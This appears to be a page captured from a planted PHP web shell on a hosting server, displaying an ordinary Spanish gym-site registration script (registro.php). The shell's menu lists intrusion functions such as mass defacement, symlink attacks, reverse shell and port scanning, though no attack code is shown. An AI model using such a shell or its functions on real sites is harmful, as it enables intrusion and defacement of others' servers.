Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
Viewing: registro.php
<?php /** * ProgressGym - Registro de Usuario */ require_once 'config/database.php'; // Si ya tiene sesión, redirigir if (!empty($_SESSION['user_id'])) { header('Location: perfil.php'); exit; } $error = ''; $success = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $username = trim($_POST['username'] ?? ''); $password = $_POST['password'] ?? ''; $confirm = $_POST['confirm'] ?? ''; if (empty($username) || empty($password) || empty($confirm)) { $error = 'Todos los campos son requeridos.'; } elseif (strlen($username) < 3 || strlen($username) > 50) { $error = 'El usuario debe tener entre 3 y 50 caracteres.'; } elseif (strlen($password) < 4) { $error = 'La contraseña debe tener al menos 4 caracteres.'; } elseif ($password !== $confirm) { $error = 'Las contraseñas no coinciden.'; } else { $db = getDB(); // Verificar si el usuario ya existe $stmt = $db->prepare("SELECT id FROM usuarios WHERE username = :username LIMIT 1"); $stmt->execute([':username' => $username]); if ($stmt->fetch()) { $error = 'Ese nombre de usuario ya está registrado.'; } else { $hash = password_hash($password, PASSWORD_DEFAULT); $stmt = $db->prepare("INSERT INTO usuarios (username, password, nombre_visible, avatar) VALUES (:username, :password, :nombre, 'default')"); $stmt->execute([':username' => $username, ':password' => $hash, ':nombre' => $username]); $success = '¡Cuenta creada con éxito! Ahora puedes iniciar sesión.'; } } } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="ProgressBros - Crear Cuenta"> <title>Registro — ProgressBros</title> <link rel="icon" type="image/png" href="ProgressBros.png"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700;800;900&family=JetBrains+Mono:wght@400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/style.css"> <style> * { font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, sans-serif !important; } body { background: #0a0a0a; overflow-x: hidden; } .auth-wrapper { min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 2rem 1rem; position: relative; overflow: hidden; } /* Animated Grid Background */ .auth-wrapper::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-image: linear-gradient(rgba(0, 230, 118, 0.03) 1px, transparent 1px), linear-gradient(90deg, rgba(0, 230, 118, 0.03) 1px, transparent 1px); background-size: 50px 50px; animation: gridMove 20s linear infinite; z-index: 0; } @keyframes gridMove { 0% { transform: translate(0, 0); } 100% { transform: translate(50px, 50px); } } /* Floating Orbs */ .auth-wrapper::after { content: ''; position: absolute; top: 10%; right: 10%; width: 300px; height: 300px; background: radial-gradient(circle, rgba(0, 230, 118, 0.08) 0%, transparent 70%); border-radius: 50%; animation: floatOrb 8s ease-in-out infinite; z-index: 0; } @keyframes floatOrb { 0%, 100% { transform: translate(0, 0) scale(1); } 50% { transform: translate(30px, -30px) scale(1.1); } } /* Neo-Brutalist Card */ .auth-card { width: 100%; max-width: 380px; background: #0f0f0f; border: 3px solid #00e676; border-radius: 0 !important; padding: 1.5rem 1.75rem; box-shadow: 6px 6px 0 rgba(0, 230, 118, 0.3); position: relative; z-index: 1; animation: slideInUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; transition: all 0.3s ease; } .auth-card:hover { transform: translate(-3px, -3px); box-shadow: 9px 9px 0 rgba(0, 230, 118, 0.4); } @keyframes slideInUp { from { opacity: 0; transform: translateY(30px); } to { opacity: 1; transform: translateY(0); } } /* Logo */ .auth-logo { font-size: 1.75rem; font-weight: 900; letter-spacing: -2px; text-align: center; margin-bottom: 0.15rem; text-transform: uppercase; position: relative; } .auth-logo i { color: #00e676; font-size: 2rem; display: block; margin-bottom: 0.15rem; animation: pulse 2s ease-in-out infinite; } @keyframes pulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.1); } } .auth-logo .text-accent { color: #00e676 !important; } .auth-subtitle { text-align: center; color: #94a3b8; font-size: 0.7rem; margin-bottom: 1.25rem; text-transform: uppercase; letter-spacing: 1.5px; font-weight: 700; font-family: 'JetBrains Mono', monospace !important; } /* Error Alert */ .auth-error { background: rgba(239, 68, 68, 0.08); border: 2px solid #ef4444; border-radius: 0 !important; color: #fca5a5; padding: 0.65rem 0.875rem; font-size: 0.8rem; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; font-weight: 600; box-shadow: 3px 3px 0 rgba(239, 68, 68, 0.2); } .auth-error i { font-size: 1rem; } /* Success Alert */ .auth-success { background: rgba(0, 230, 118, 0.08); border: 2px solid #00e676; border-radius: 0 !important; color: #a7f3d0; padding: 0.65rem 0.875rem; font-size: 0.8rem; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; font-weight: 600; box-shadow: 3px 3px 0 rgba(0, 230, 118, 0.2); } .auth-success i { font-size: 1rem; color: #00e676; } /* Form Labels */ .form-label { color: #00e676 !important; font-weight: 700 !important; font-size: 0.7rem !important; text-transform: uppercase !important; letter-spacing: 1.2px !important; margin-bottom: 0.4rem !important; font-family: 'JetBrains Mono', monospace !important; } /* Spacing between form groups */ .mb-3 { margin-bottom: 0.875rem !important; } .mb-4 { margin-bottom: 1rem !important; } /* Input Groups */ .input-group { border: 2px solid rgba(255, 255, 255, 0.15); border-radius: 0 !important; overflow: hidden; transition: all 0.2s ease; box-shadow: 2px 2px 0 rgba(0, 0, 0, 0.3); } .input-group:focus-within { border-color: #00e676; box-shadow: 3px 3px 0 rgba(0, 230, 118, 0.3); transform: translate(-1px, -1px); } .input-group-text-dark { background: #000000 !important; border: none !important; color: #00e676 !important; border-radius: 0 !important; padding: 0.625rem 0.75rem !important; font-size: 1rem !important; } .auth-card .form-control { background: #000000 !important; border: none !important; border-radius: 0 !important; color: #ffffff !important; font-weight: 600 !important; padding: 0.625rem 0.875rem !important; font-size: 0.9rem !important; } .auth-card .form-control::placeholder { color: #475569 !important; font-weight: 500 !important; } .auth-card .form-control:focus { background: #000000 !important; color: #ffffff !important; box-shadow: none !important; outline: none !important; } /* Buttons */ .btn-accent { background: linear-gradient(135deg, #00e676 0%, #00c853 100%) !important; border: 3px solid #00e676 !important; border-radius: 0 !important; color: #000000 !important; font-weight: 900 !important; text-transform: uppercase !important; letter-spacing: 1.5px !important; padding: 0.75rem 1.25rem !important; font-size: 0.85rem !important; box-shadow: 3px 3px 0 rgba(0, 230, 118, 0.4) !important; transition: all 0.2s ease !important; position: relative !important; overflow: hidden !important; } .btn-accent:hover { transform: translate(-2px, -2px) !important; box-shadow: 5px 5px 0 rgba(0, 230, 118, 0.5) !important; color: #000000 !important; } .btn-accent:active { transform: translate(0, 0) !important; box-shadow: 2px 2px 0 rgba(0, 230, 118, 0.4) !important; } /* Footer */ .auth-footer { text-align: center; margin-top: 1rem; padding-top: 1rem; border-top: 2px solid rgba(255, 255, 255, 0.1); font-size: 0.8rem; color: #94a3b8; font-weight: 600; } .auth-footer a { color: #00e676; text-decoration: none; font-weight: 800; text-transform: uppercase; letter-spacing: 1px; transition: all 0.2s ease; position: relative; } .auth-footer a::after { content: ''; position: absolute; bottom: -2px; left: 0; width: 0; height: 2px; background: #00e676; transition: width 0.3s ease; } .auth-footer a:hover::after { width: 100%; } .auth-footer a:hover { color: #00ff88; } /* Responsive */ @media (max-width: 576px) { .auth-card { padding: 1.5rem 1.5rem; box-shadow: 6px 6px 0 rgba(0, 230, 118, 0.3); } .auth-card:hover { transform: translate(-2px, -2px); box-shadow: 8px 8px 0 rgba(0, 230, 118, 0.4); } .auth-logo { font-size: 1.5rem; } .auth-logo i { font-size: 1.75rem; } .btn-accent { padding: 0.75rem 1.25rem !important; font-size: 0.85rem !important; letter-spacing: 1.2px !important; } } </style> </head> <body> <div class="auth-wrapper"> <div class="auth-card"> <div class="auth-logo"> <i class="bi bi-lightning-charge-fill"></i> Progress<span class="text-accent">Gym</span> </div> <p class="auth-subtitle">Crea tu cuenta para empezar</p> <?php if ($error): ?> <div class="auth-error"> <i class="bi bi-exclamation-circle-fill"></i> <?= htmlspecialchars($error) ?> </div> <?php endif; ?> <?php if ($success): ?> <div class="auth-success"> <i class="bi bi-check-circle-fill"></i> <?= htmlspecialchars($success) ?> </div> <?php endif; ?> <form method="POST" action="registro.php" autocomplete="off"> <div class="mb-3"> <label for="reg-username" class="form-label">Usuario</label> <div class="input-group"> <span class="input-group-text input-group-text-dark"><i class="bi bi-person"></i></span> <input type="text" class="form-control" id="reg-username" name="username" placeholder="Elige un usuario" required autofocus minlength="3" maxlength="50" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"> </div> </div> <div class="mb-3"> <label for="reg-password" class="form-label">Contraseña</label> <div class="input-group"> <span class="input-group-text input-group-text-dark"><i class="bi bi-lock"></i></span> <input type="password" class="form-control" id="reg-password" name="password" placeholder="Mínimo 4 caracteres" required minlength="4"> </div> </div> <div class="mb-4"> <label for="reg-confirm" class="form-label">Confirmar Contraseña</label> <div class="input-group"> <span class="input-group-text input-group-text-dark"><i class="bi bi-shield-lock"></i></span> <input type="password" class="form-control" id="reg-confirm" name="confirm" placeholder="Repite tu contraseña" required> </div> </div> <button type="submit" class="btn btn-accent w-100 py-2" id="btn-registro"> <i class="bi bi-person-plus-fill me-2"></i> Crear Cuenta </button> </form> <div class="auth-footer"> ¿Ya tienes cuenta? <a href="login.php">Inicia sesión</a> </div> </div> </div> </body> </html>
Coded With 💗 by
0x6ick